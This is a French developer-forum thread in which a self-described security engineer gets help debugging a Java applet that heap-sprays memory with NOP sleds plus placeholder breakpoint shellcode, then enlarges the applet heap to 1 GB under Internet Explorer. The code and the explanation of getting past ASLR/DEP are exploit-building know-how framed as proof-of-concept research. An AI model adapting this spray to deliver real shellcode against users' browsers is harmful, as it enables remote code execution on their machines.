IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Collection et Stream Java Discussion :

allocation et concaténation de tableau de byte


Sujet :

Collection et Stream Java

  1. #1
    Membre actif
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juillet 2007
    Messages
    193
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 37
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Produits et services télécom et Internet

    Informations forums :
    Inscription : Juillet 2007
    Messages : 193
    Points : 274
    Points
    274
    Par défaut allocation et concaténation de tableau de byte
    Bonjour,

    avant tout je voudrais vous expliquer ce que je veux faire, j'applique un principe de heap spraying avec du java (donc coller bcp de byte 0x90 a un shellcode a executer, répété énormément de fois dans la mémoire).

    Je tiens a vous dire que c'est ma premiere source en java, donc j'ai essayé de chercher longtemps mais je me suis dis qu'il vallait mieux avoir un peu d'aide si possible.

    voici mon code existant :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
     
    import java.awt.*;
    import java.applet.*;
    import java.lang.System;
     
    public class Heapbla extends Applet
    {
    	byte block = (byte) 0x90;
    	byte  shellcode[] = new byte[]
    	{	
    		(byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC, (byte) 0xCC
    	};
    	byte bigblock[] = new byte[50000];
    	byte heapSpray[][] = new byte[100000][];
    	static int bla;
     
     
    	public void init()
    	{
    		this.bla = 0;
    		initHeap();
    	}
     
    	public void paint(Graphics g)
    	{
    		if (bla == 0)
    			g.drawString("Heap Spray starting", 50, 60 );
     
    	}
    	public void initHeap()
    	{	
    		int i;
    		int len;
    		int lenShell;
     
    		for (i = 0; i < 50000; i++)
    			bigblock[i] = block;
    		for (i = 0; i < 50000; i++)
    		{
    			try
    			{
    				heapSpray[i] = new byte[51234];
    				len = bigblock.length;
    			lenShell = shellcode.length;
    			System.arraycopy(bigblock, 0, heapSpray, 0, len);
    			System.arraycopy(shellcode, 0, heapSpray, len, lenShell);
    			}
    			catch(Exception e)
    			{
    				System.out.println(e);	
    			}
     
    		}
    	}
    }
    comme vous le voyez la boucle avec "bigblock[i] = block" me permet de me faire un tableau avec bcp bcp de NOP (0x90).
    Mon but c'est que heapspray contiennent dans chacune des ses cases une concaténation de bigblock et shellcode.

    J'espere que c'est claire. Pour ceux que ca interresse le but est de blindé ma mémoire de nop (0x90, en assembleur correspond a no operation) et mon shellcode (opcodes que je veux exécuter). Pour plus d'informations vous pouvez rechercher heap spraying sur wikipedia.

    Cette technique est facile a implémenter en javascript mais j'avoue avoir pas mal de problemes avec java.

    Je vous remercie d'avance, et désolé pour mon code sale mais c'est ma premiere journée de java.

  2. #2
    Expert éminent sénior
    Avatar de tchize_
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Avril 2007
    Messages
    25 481
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 44
    Localisation : Belgique

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Avril 2007
    Messages : 25 481
    Points : 48 806
    Points
    48 806
    Par défaut
    bonjour,

    quelle est la raison d'être de ce code, pourquoi en as-tu besoin? Et quelle exception récupère-tu?

    PS: remplace ce genre de code
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
     
    catch(Exception e)
    			{
    				System.out.println(e);	
    			}

    par
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
     
    catch(Exception e)
    			{
    				e.printStackTrace();	
    			}
    C'est plus explicite dans le message d'erreur

  3. #3
    Membre actif
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juillet 2007
    Messages
    193
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 37
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Produits et services télécom et Internet

    Informations forums :
    Inscription : Juillet 2007
    Messages : 193
    Points : 274
    Points
    274
    Par défaut
    Pour la raison d'etre de ce programme, je vais vous expliquer en essayant de faire court.
    Je travail dans la sécurité informatique, le heap spraying (voir wikipedia) est une attaque connu qui consiste a allouer énormément de mémoire sur la machine en collant des slides de nop (no operation 0x90) a un shellcode a éxecuter dans le cadre d'un buffer overflow.

    Si par exemple on controle mal ou va sauter notre programme en mémoire apres d'avoir fait un buffer overflow, on blinde la mémoire de nos nop slide et de notre shellcode pour pouvoir executer notre shellcode sur la machine.

    Ceci marche que sur les application ou un a un grand controle de la mémoire, comme internet explorer ou adobe acrobat reader. En effet a partir d'un simple script sur la machine du client on peut faire allouer enormément de mémoire et mettre ce qu'on veut dedans (j'ai deja utilité cette technique en javascript).

    Cette technique permet par exemple de bypasser l'ASLR de vista (randomisation de la mémoire), mais pas DEP (byte NX des processeurs intel).
    Ce byte NX consiste a marquer de la mémoire avec le byte d'execution si elle doit etre executer par la machine, ce qui permet de contrer bcp d'attaques de type buffer overflow.
    Cependant, java, .net et flash, pour des raisons obscure, alloue des pages avec ce flag NX, ce qui bypasse la sécurité DEP (et en meme temps l'ASLR).

    Ceci permet de démontrer la faiblesse des protections de windows Vista (qui sont pourtant tres importantes par rapport a windows XP).



    Voila pour l'explication, concretement ce que j'ai besoin c'est dans un applet allouer bcp de mémoire et coller énormément de byte 0x90 a mon shellcode (ici dans la source c'est simplement quelques 0xCC, qui correspondent a des breakpoint en opcode intel), et repeter cette operation beaucoup de fois pour retrouver bcp de fois ma succession de 0x90 collé a mon shellcode.

    Merci d'avance

  4. #4
    Expert éminent sénior
    Avatar de tchize_
    Homme Profil pro
    Ingénieur développement logiciels
    Inscrit en
    Avril 2007
    Messages
    25 481
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 44
    Localisation : Belgique

    Informations professionnelles :
    Activité : Ingénieur développement logiciels
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Avril 2007
    Messages : 25 481
    Points : 48 806
    Points
    48 806
    Par défaut
    a vue de pif, t'as une erreur là (je corrige le code):

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    			System.arraycopy(bigblock[i], 0, heapSpray, 0, len);
    			System.arraycopy(shellcode[i], 0, heapSpray, len, lenShell);
    D'une manière générale, poste tes messages d'erreurs (et pour faire ce genre de test une applet n'est pas nécessaire, lance directement avec java.exe t'aura plus simple que de passer par un browser.

    Pour les flags des pages, la raison en est simple, java utilise JIT pour faire de la compilation natif d'une partie du code java à la volée. Ca se fait sur la heap et donc il faut bien qu'on puisse y faire pointer EIP. Ensuite, java a un modèle de données relativement plat. Il alloue une grosse plage de mémoire et gère lui même la différentiation code exécutable, zone de données. Donc les données que tu écrit, sur le shéma de la jvm, il est impossible de les exécuter. Le bufferoverflow n'éxistant pas en java, car java n'a pas de pointeurs. Si quelque chose merde dans java, c'est au niveau de slibrairies natives, mais là aux coderu de fiare leur code proprement

  5. #5
    Membre actif
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juillet 2007
    Messages
    193
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 37
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Produits et services télécom et Internet

    Informations forums :
    Inscription : Juillet 2007
    Messages : 193
    Points : 274
    Points
    274
    Par défaut
    Merci pour l'explication,

    en faite ta logique est bonne mais c'est heapSpray auquel il fallait rajouter [i] pour qu'il se retrouve dans le tableau.
    Je suis vraiment désolé de vous avoir fait perdre du temps sur un probleme de logique aussi bete, surtout que le faite que je sois débutant en java n'est pas dutout une excuse dans ce cas.

    Cependant je remarque que je fais un OutOfMemory au bou d'environ 100mo d'alloué, moi qui voulait allouer environ 1/2go, je suis un peu mal barré.

    Je vais essayer de chercher d'ou ca vient, si ca se regle facilement.
    J'espere que ca se regle pas du coté de la machine virtuel, mais plutot du coté du code de l'applet (meme si j'y crois pas trop). Car sinon cette methode ne me permetterait pas vraiment de pouvoir faire une exploitation de type heapSpray sur toute machine, ca deviendrait qu'un simple proof of concept.

    Si vous avez une idée pour le OutOfMemory, ca serait vraiment sympa.

  6. #6
    Membre actif
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juillet 2007
    Messages
    193
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 37
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Produits et services télécom et Internet

    Informations forums :
    Inscription : Juillet 2007
    Messages : 193
    Points : 274
    Points
    274
    Par défaut
    Je pensais avoir trouvé ma solution ici :
    http://groups.google.com/group/comp....7499a3a6?hl=en

    Cependant ca n'a pas l'air de marcher.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
     
    <APPLET
    	code	= "Heapbla.class"
    	width	= "500"
    	height	= "300"
    	><param name="java_arguments" value="-Xmx1g"> 
    </APPLET>

  7. #7
    Membre actif
    Homme Profil pro
    Ingénieur sécurité
    Inscrit en
    Juillet 2007
    Messages
    193
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 37
    Localisation : France, Paris (Île de France)

    Informations professionnelles :
    Activité : Ingénieur sécurité
    Secteur : High Tech - Produits et services télécom et Internet

    Informations forums :
    Inscription : Juillet 2007
    Messages : 193
    Points : 274
    Points
    274
    Par défaut
    Désolé c'est bon, en faite cette methode marche mais je testais directement de mon editeur qui ne chargait pas l'applet dans le navigateur, donc il ne parsait pas la page html avant de charger l'applet.

    Sous IE j'arrive bien a allouer 1go, 2go il a pas l'air de vouloir, mais c'est grandement suffisant.

    Merci beaucoup de votre aide en tout cas

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [Socket][File] Envoyer un tableau de byte
    Par itsmii dans le forum Entrée/Sortie
    Réponses: 14
    Dernier message: 30/01/2014, 10h10
  2. Réponses: 1
    Dernier message: 09/05/2005, 15h19
  3. probleme d allocation avec un tableau de BYTE
    Par e1lauren dans le forum C++
    Réponses: 5
    Dernier message: 06/05/2005, 14h42
  4. [VB.NET] Tableau de bytes Lecture/Ecriture
    Par BenoitM dans le forum Windows Forms
    Réponses: 3
    Dernier message: 05/04/2005, 10h51
  5. [C#] Convertir un tableau de byte en Image
    Par goulhasch dans le forum ASP.NET
    Réponses: 4
    Dernier message: 24/01/2005, 11h12

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo